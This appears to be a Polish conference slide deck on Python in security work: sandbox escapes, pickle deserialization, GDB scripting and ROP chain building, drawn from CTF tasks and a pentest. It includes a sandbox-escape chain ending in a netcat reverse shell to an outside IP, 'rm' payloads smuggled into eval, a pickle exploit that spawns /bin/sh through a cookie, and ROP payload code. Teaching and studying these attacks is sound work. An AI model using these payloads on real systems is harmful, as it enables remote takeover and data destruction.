.__subclasses__()[59]()._module<br />

.__built<strong>in</strong>s__<br />

dir(formula)<br />

[...], 'ArithmeticError': , 'str':<br />

, 'property': , 'GeneratorExit': , '<strong>in</strong>t':<br />

, '__import__':<br />

,<br />

'KeyError': , 'coerce':<br />

, [...]<br />

(6195 bytes)<br />

['__class__', '__cmp__', '__conta<strong>in</strong>s__',<br />

'__delattr__', '__delitem__', '__doc__',<br />

'__eq__', '__format__', '__ge__',<br />

'__getattribute__', '__getitem__', '__gt__',<br />

'__hash__', '__<strong>in</strong>it__', '__iter__', '__le__',<br />

'__len__', '__lt__', '__ne__', '__new__',<br />

'__reduce__', '__reduce_ex__', '__repr__',<br />

'__setattr__', '__setitem__', '__sizeof__',<br />

'__str__', '__subclasshook__', 'clear',<br />

'copy', 'fromkeys', 'get', 'has_key', 'items',<br />

'iteritems', 'iterkeys', 'itervalues', 'keys',<br />

'pop', 'popitem', 'setdefault', 'update',<br />

'values', 'viewitems', 'viewkeys',<br />

'viewvalues']


„Sandbox”<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()._module<br />

.__built<strong>in</strong>s__['__import__']<br />

dir(formula)<br />

<br />

['__call__', '__class__', '__cmp__',<br />

'__delattr__', '__doc__', '__eq__',<br />

'__format__', '__ge__', '__getattribute__',<br />

'__gt__', '__hash__', '__<strong>in</strong>it__', '__le__',<br />

'__lt__', '__module__', '__name__', '__ne__',<br />

'__new__', '__reduce__', '__reduce_ex__',<br />

'__repr__', '__self__', '__setattr__',<br />

'__sizeof__', '__str__', '__subclasshook__']


„Sandbox”<br />

Ender's game...<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()._module<br />

.__built<strong>in</strong>s__['__import__']


„Sandbox”<br />

Ender's game...<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()._module<br />

.__built<strong>in</strong>s__['__import__']<br />

('os')


„Sandbox”<br />

Ender's game...<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()._module<br />

.__built<strong>in</strong>s__['__import__']<br />

('os')<br />

.system


„Sandbox”<br />

Ender's game...<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()._module<br />

.__built<strong>in</strong>s__['__import__']<br />

('os')<br />

.system<br />

('nc.traditional -e<br />

/b<strong>in</strong>/bash<br />

93.184.216.34 31337')


„Sandbox”<br />

Ender's game...<br />

{}.__class__.__base__<br />

.__subclasses__()[59]()._module<br />

.__built<strong>in</strong>s__['__import__']<br />

('os')<br />

.system<br />

('nc.traditional -e<br />

/b<strong>in</strong>/bash<br />

93.184.216.34 31337')


„Sandbox”<br />

Patrz również:<br />

http://gynvael.coldw<strong>in</strong>d.pl/n/python_sandbox_escape


Dygresja


Zasłyszana zabawna historia<br />

Dawno, dawno temu,<br />

za siedmioma górami<br />

był sobie spammer...


Zasłyszana zabawna historia<br />

Quiz!<br />

Jak spammer rozwiązywał captcha?<br />

A. Zaimplementował parser, konwersje z notacji <strong>in</strong>fiksowej na<br />

odwrotną notację polską, a potem użył maszyny stosowej by<br />

wyliczyć wynik<br />

B. Użył eval()


Zasłyszana zabawna historia<br />

Quiz!<br />

Rozwiązanie:<br />

Z jakiegoś powodu CAPTCHA:<br />

1+__import__('os').system('rm *')+1<br />

podobno rozwiązała problem.


Zasłyszana zabawna historia v1.5<br />

LOL<br />

robię sobie program<strong>in</strong>g 300<br />

dostajesz serię wyrażeń i masz powiedzieć czy wynik jest całkowity<br />

i tak sobie już pareset zrobiłem w sumie<br />

i nagle dostaję do sprawdzenia:<br />

__import__('os').popen('rm -ri *').read()<br />

:D<br />

na szczęście miałem regexpa przed evalem który przed tym<br />

zabezpieczał :)


Sandbox<strong>in</strong>g - przykład 2


„Empty Sandbox”<br />

__nightmares__ (PlaidCTF 2014, 375) (q3k!)<br />

Możesz wykonać dowolny kod.


„Empty Sandbox”<br />

__nightmares__ (PlaidCTF 2014, 375) (q3k!)<br />

Możesz wykonać dowolny kod.<br />

Ale w środowisku jest tylko jeden global: stdout<br />

(+ słowa kluczowe)


stdout


stdout<br />

.__class__


stdout<br />

.__class__<br />


stdout<br />

.__class__<br />

<br />

('/proc/self/mem', 'r+')


stdout<br />

.__class__<br />

<br />

('/proc/self/mem', 'r+')<br />

.seek() + .read()


stdout<br />

.__class__<br />

<br />

('/proc/self/mem', 'r+')<br />

.seek() + .read()<br />

read addr of system() <strong>in</strong> .got


stdout<br />

.__class__<br />

<br />

('/proc/self/mem', 'r+')<br />

.seek() + .read()<br />

read addr of system() <strong>in</strong> .got<br />

write it under fopen64() <strong>in</strong> .got


stdout<br />

.__class__<br />

<br />

('/proc/self/mem', 'r+')<br />

.seek() + .read()<br />

read addr of system() <strong>in</strong> .got<br />

write it under fopen64() <strong>in</strong> .got<br />

<br />

('cat *')


Sandox<strong>in</strong>g - podsumowanie<br />

Bezpieczniej użyć nsjaila ;)


Bezpieczeństwo


Good news, ACLe w końcu poprawione! :)<br />

https://bugs.python.org/issue10491<br />

Listopad 2010<br />

DLL hijack<strong>in</strong>g<br />

BUILTIN\Users:(CI)(ID)(special access:)<br />

FILE_APPEND_DATA<br />

BUILTIN\Users:(CI)(ID)(special access:)<br />

FILE_WRITE_DATA


Good news, ACLe w końcu poprawione! :)<br />

https://bugs.python.org/issue10491<br />

Listopad 2010


Good news, ACLe w końcu poprawione! :)<br />

https://bugs.python.org/issue1284316<br />

Wrzesień 2005


Good news, ACLe w końcu poprawione! :)<br />

https://bugs.python.org/issue1284316<br />

Wrzesień 2005<br />

"Lower<strong>in</strong>g the priority; this is<br />

now a documented bug."


Good news, ACLe w końcu poprawione! :)<br />

https://bugs.python.org/issue1284316<br />

Wrzesień 2005<br />

"Lower<strong>in</strong>g the priority; this is<br />

now a documented bug."<br />

Kwiecień 2015<br />

%LocalAppData%\Programs\<strong>Python</strong>\<strong>Python</strong>35<br />

%ProgramFiles%\<strong>Python</strong> 3.5


Good news, ACLe w końcu poprawione! :) (?)<br />

https://bugs.python.org/issue1284316<br />

Wrzesień 2005<br />

"Lower<strong>in</strong>g the priority; this is<br />

now a documented bug."<br />

Kwiecień 2015<br />

%LocalAppData%\Programs\<strong>Python</strong>\<strong>Python</strong>35<br />

%ProgramFiles%\<strong>Python</strong> 3.5<br />

"Um, you know this still affects<br />

<strong>Python</strong> 2.7 right?"


Bezpieczeństwo - Pickle


Pickle - P is for pwned<br />

Cel:<br />

Strona pewnej firmy (pentest)


Pickle - P is for pwned<br />

Rozglądając się do okoła znajdujemy:<br />

Ciasteczka!


Pickle - P is for pwned<br />

state cookie:<br />

cóż to?<br />

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f<br />

dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1<br />

M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA<br />

pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC<br />

H:KGRwMApTJ3NlYXJjaF9sYXN0JwpwMQpTIicgb3IgMT0xIC<br />

0tIgpwMgpzLg==:


Pickle - P is for pwned<br />

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f<br />

dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1<br />

M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:<br />

>>> sess.decode("base64")<br />

"(dp0\nS'username'\np1\nNsS'log<strong>in</strong>_time'\np2\nNsS<br />

'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\n<br />

p4\ns."


Pickle - P is for pwned<br />

(dp0\nS'username'\np1\nNsS'log<strong>in</strong>_time'\np2\nNsS'<br />

SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np<br />

4\ns.<br />

>>> import pickle<br />

>>> pickle.loads(sess.decode("base64"))<br />

{'username': None, 'SID':<br />

'1cfccdb3388453f56ecca079115c6d61',<br />

'log<strong>in</strong>_time': None}


Pickle - P is for pwned


Pickle - P is for pwned<br />

Deserializacja obiektów - krótki przegląd<br />

*/JSON<br />

Nie obsługuje obiektów.


Pickle - P is for pwned<br />

Deserializacja obiektów - krótki przegląd<br />

PHP/unserialize<br />

"Statyczne" tworzenie obiektów.<br />

Wywołuje __wakeup().<br />

Ostatecznie również __destruct().


Pickle - P is for pwned<br />

Deserializacja obiektów - krótki przegląd<br />

<strong>Python</strong>/pickle<br />

Wywołuje wybrany<br />

konstruktor z wybranego<br />

modułu z wybranymi<br />

argumentami.<br />

np. subprocess.Popen


Pickle - P is for pwned<br />

# https://blog.nelhage.com/2011/03/exploit<strong>in</strong>g-pickle/<br />

class Exploit(object):<br />

def __reduce__(self):<br />

fd = 20 # ←----------------------------------- ???<br />

return (subprocess.Popen,<br />

(('/b<strong>in</strong>/sh',), # args<br />

0, # bufsize<br />

None, # executable<br />

fd, fd, fd # std{<strong>in</strong>,out,err}<br />

))<br />

pr<strong>in</strong>t base64.b64encode(pickle.dumps(Exploit()))<br />

Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIw<br />

CkkyMApJMjAKdHAzClJwNAou


Pickle - P is for pwned<br />

fd = 20<br />

std<strong>in</strong> (0)<br />

HTTP<br />

Server<br />

HTTP Connection<br />

20 -> socket:[12345]<br />

stdout (1)<br />

/b<strong>in</strong>/sh<br />

stderr (2)


Pickle - P is for pwned<br />

state - wersja "poprawiona"<br />

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f<br />

dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1<br />

M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA<br />

pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC<br />

H:Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCn<br />

AxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou:


Pickle - P is for pwned<br />

IDDQD


Bezpieczeństwo - Marshal


Marshal - M is for ... noth<strong>in</strong>g?


Skryptowanie w skrócie


GDB skryptowane w <strong>Python</strong>ie<br />

GDB ma cudowne <strong>Python</strong> API!<br />

Pobieranie wartości rejestrów jest naprawdę proste:<br />

import gdb<br />

pr<strong>in</strong>t <strong>in</strong>t(str(gdb.parse_and_eval("(void*)($rax)")).split(" ")[0], 16)


GDB skryptowane w <strong>Python</strong>ie<br />

turututu (OCAML crackme, PHDays Quals CTF 2014)<br />

Str<strong>in</strong>gi są przechowywane w pamięci jako l<strong>in</strong>ked lista<br />

def pr<strong>in</strong>t_list(addr, next_off=8, mod=False):<br />

if addr == 1:<br />

pr<strong>in</strong>t " 0: 1"<br />

pr<strong>in</strong>t " --"<br />

return<br />

i = -1<br />

r = addr<br />

while r != 1:<br />

i += 1<br />

item = ExprAsInt("*(void**)0x%x" % r)<br />

if mod != False:<br />

item = mod(item)<br />

else:<br />

...<br />

...<br />

item = "%x" % item<br />

pr<strong>in</strong>t " %2u: 0x%.16x ---> %s" % (<br />

i, r, item)<br />

# Next.<br />

r = ExprAsInt("*(void**)(0x%x+%u)" %<br />

r, next_off))<br />

pr<strong>in</strong>t " --"<br />

return


GDB skryptowane w <strong>Python</strong>ie<br />

turututu (OCAML crackme, PHDays Quals CTF 2014)<br />

--- walk_through_list_rsi<br />

0: 0x0000000000621da0 ---> H [91 | 1]<br />

1: 0x0000000000621db8 ---> a [c3 | 1]<br />

2: 0x0000000000621dd0 ---> t [e9 | 1]<br />

3: 0x0000000000621de8 ---> r [e5 | 1]<br />

4: 0x0000000000621e00 ---> n [dd | 1]<br />

5: 0x0000000000621e18 ---> D [89 | 1]<br />

6: 0x0000000000621e30 ---> y [f3 | 1]<br />

7: 0x0000000000621e48 ---> r [e5 | 1]<br />

8: 0x0000000000621e60 ---> t [e9 | 1]<br />

--


<strong>Python</strong> i <strong>in</strong>ne debuggery<br />

●<br />

●<br />

Wiele debuggerów jest skryptowalne.<br />

○ Zazwyczaj w <strong>Python</strong>ie :)<br />

Przykłady:<br />

○ <strong>Python</strong> for W<strong>in</strong>dbg<br />

○ ImmunityDbg<br />

○ IDA<br />

○ x64dbg (x64dbgpy)<br />

○ B<strong>in</strong>ary N<strong>in</strong>ja


Moja ulubiona biblioteka


telnetlib<br />

import telnetlib<br />

...<br />

t = telnetlib.Telnet()<br />

t.sock = s<br />

t.<strong>in</strong>teract()


<strong>Python</strong> i ROP


ROP 101<br />

C/C++/ObjC<br />

Stare dobre przepełnienie bufora<br />

stos wątku<br />

...<br />

RETURN<br />

ADDRESS<br />

...<br />

pechowy bufor<br />

(zostanie przepełniony)


ROP 101<br />

C/C++/ObjC<br />

Stare dobre przepełnienie bufora<br />

stos wątku<br />

...<br />

RETURN<br />

ADDRESS<br />

...<br />

pechowy bufor<br />

(zostanie przepełniony)


ROP 101<br />

C/C++/ObjC<br />

Stare dobre przepełnienie bufora<br />

stos wątku<br />

...<br />

SHELLCODE<br />

EVIL<br />

RETURN<br />

RETURN<br />

ADDRESS<br />

ADDRESS<br />

...<br />

...<br />

ret (pop <strong>in</strong>struction po<strong>in</strong>ter)


ROP 101<br />

C/C++/ObjC<br />

Teraz już tak dobrze nie ma - NX/XD/DEP<br />

stos wątku<br />

...<br />

SHELLCODE<br />

EVIL<br />

RETURN<br />

RETURN<br />

ADDRESS<br />

ADDRESS<br />

...<br />

...<br />

ret (pop <strong>in</strong>struction po<strong>in</strong>ter)


ROP 101<br />

Teraz już tak dobrze nie ma - więc robi się ROP<br />

C/C++/ObjC<br />

stos wątku<br />

...<br />

(whatever)<br />

EVIL<br />

RETURN<br />

RETURN<br />

ADDRESS<br />

ADDRESS<br />

VALUE<br />

EVIL<br />

RETURN<br />

ADDRESS<br />

EVIL<br />

RETURN ...<br />

ADDRESS<br />

gadget 1<br />

ret<br />

gadget 2<br />

ret<br />

gadget 3<br />

ret


ROP 101<br />

Teraz już tak dobrze nie ma - więc robi się ROP<br />

kod maszynowy<br />

(biblioteki, b<strong>in</strong>arka)<br />

gadget 1<br />

gadget 2 gadget 3


ROP 101<br />

Teraz już tak dobrze nie ma - więc robi się ROP<br />

0x1f56a<br />

0x1f56f<br />

0x1f576<br />

0x1f577<br />

0x1f578<br />

0x1f579<br />

0x1f57a<br />

sub eax, 0x3a04f1<br />

mov [rip+0x3a04da], rax<br />

pop rax<br />

pop rbx<br />

pop rcx<br />

ret<br />

nop<br />

gadget 1<br />

skok do<br />

gadget 2


ROP - poszukiwanie gadżetów<br />

W <strong>Python</strong>ie, a jak.<br />

import distorm3 # https://code.google.com/p/distorm/downloads/list<br />

# XXX Setup here XXX<br />

TARGET_FILE = "libc.so.6"<br />

FILE_OFFSET_START = 0x1f4a0 # In-file offset of scan start<br />

FILE_OFFSET_END = 0x165F88 # In-file offset of scan start<br />

VA = 0x0 # Note: PC is calculated like this: VA + given FILE_OFFSET<br />

X86_MODE = distorm3.Decode64Bits # just switch the 32 or 64<br />

# XXX End of setup XXX<br />

ulubiony<br />

disassembler<br />

(silnik, w postaci<br />

biblioteki)


ROP - poszukiwanie gadżetów<br />

W <strong>Python</strong>ie, a jak.<br />

def DecodeAsm(pc, d):<br />

disasm = distorm3.Decode(pc, d, X86_MODE)<br />

k = []<br />

l = ""<br />

ist = ""<br />

for d <strong>in</strong> disasm:<br />

addr = d[0]<br />

size = d[1]<br />

<strong>in</strong>st = d[2].lower()<br />

t = "0x%x %s" % (addr,<strong>in</strong>st)<br />

l += t + "\n"<br />

ist += "%s\n" % (<strong>in</strong>st)<br />

k.append((addr,<strong>in</strong>st))<br />

if <strong>in</strong>st.f<strong>in</strong>d('ret') != -1:<br />

break<br />

[<br />

]<br />

"\xB8\x78\x56\x34\x12\xC3"<br />

"0x1234 mov eax, 0x12345678",<br />

"0x1239 ret"<br />

return (l,k,ist)


ROP - poszukiwanie gadżetów<br />

W <strong>Python</strong>ie, a jak.<br />

UNIQ = {}<br />

d = open(TARGET_FILE, "rb").read()<br />

for i <strong>in</strong> xrange(FILE_OFFSET_START,FILE_OFFSET_END):<br />

(cc,kk,ist) = DecodeAsm(VA+i, d[i:i+20])<br />

if cc.f<strong>in</strong>d('ret') == -1:<br />

cont<strong>in</strong>ue<br />

if cc.f<strong>in</strong>d('db ') != -1:<br />

cont<strong>in</strong>ue<br />

if ist <strong>in</strong> UNIQ:<br />

cont<strong>in</strong>ue<br />

UNIQ[ist] = True<br />

pr<strong>in</strong>t "------> offset: 0x%x" % (i + VA)<br />

for k <strong>in</strong> kk:<br />

pr<strong>in</strong>t "0x%x %s" % (k[0],k[1])<br />

if k[1].f<strong>in</strong>d('ret') != -1:<br />

break<br />

pr<strong>in</strong>t ""<br />

------> offset: 0x1f667<br />

0x1f667 pop rbp<br />

0x1f668 pop r12<br />

0x1f66a ret<br />

------> offset: 0x1f668<br />

0x1f668 pop r12<br />

0x1f66a ret<br />

------> offset: 0x1f669<br />

0x1f669 pop rsp<br />

0x1f66a ret<br />

jeśli mamy szczęście, to będzie z


ROP - tworzenie payloadu<br />

<strong>Python</strong>!<br />

# MY Little ROP, Libc Is Magic!<br />

from struct import pack<br />

LIBC=0<br />

def dq(v): # data quad word<br />

return pack("


ROP - tworzenie payloadu<br />

<strong>Python</strong>!<br />

def rop_read(fd, buf, count):<br />

READ = LIBC + 0xEB800<br />

return ''.jo<strong>in</strong>([<br />

set_rdi(fd),<br />

set_rsi(buf),<br />

set_rdx(count),<br />

syscall(0)<br />

])


ROP - tworzenie payloadu<br />

def gimme_gimme(libc):<br />

return ''.jo<strong>in</strong>([<br />

])<br />

<strong>Python</strong>!<br />

# mmap<br />

rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,<br />

MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0),<br />

# read<br />

rop_read(0, ADDR, 0x1000),<br />

# jmp<br />

dq(ADDR),


ROP - tworzenie payloadu<br />

Jak to wygląda jako lista wartości...<br />

--> 48857<br />

--> 0<br />

--> f09c1<br />

--> 0<br />

--> 0<br />

--> 22b1a<br />

--> 700000001000<br />

--> 24805<br />

--> 1000<br />

--> bcee0<br />

--> 7<br />

--> 112ecf<br />

--> 32<br />

--> 127906<br />

--> ffffffffffffffff<br />

--> f49c0<br />

--> 22b1a<br />

--> 0<br />

--> 24805<br />

--> 700000001000<br />

--> bcee0<br />

--> 1000<br />

--> 48857<br />

--> 0<br />

--> 113828<br />

--> 700000001000


ROP - łączenie z exploitem<br />

def add(s, size):<br />

s.send(dd(0) + dq(size))<br />

return struct.unpack('


That's it.


Dziękuje za uwagę!<br />

gynvael@coldw<strong>in</strong>d.pl http://gynvael.coldw<strong>in</strong>d.pl/ twitter: @gynvael

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!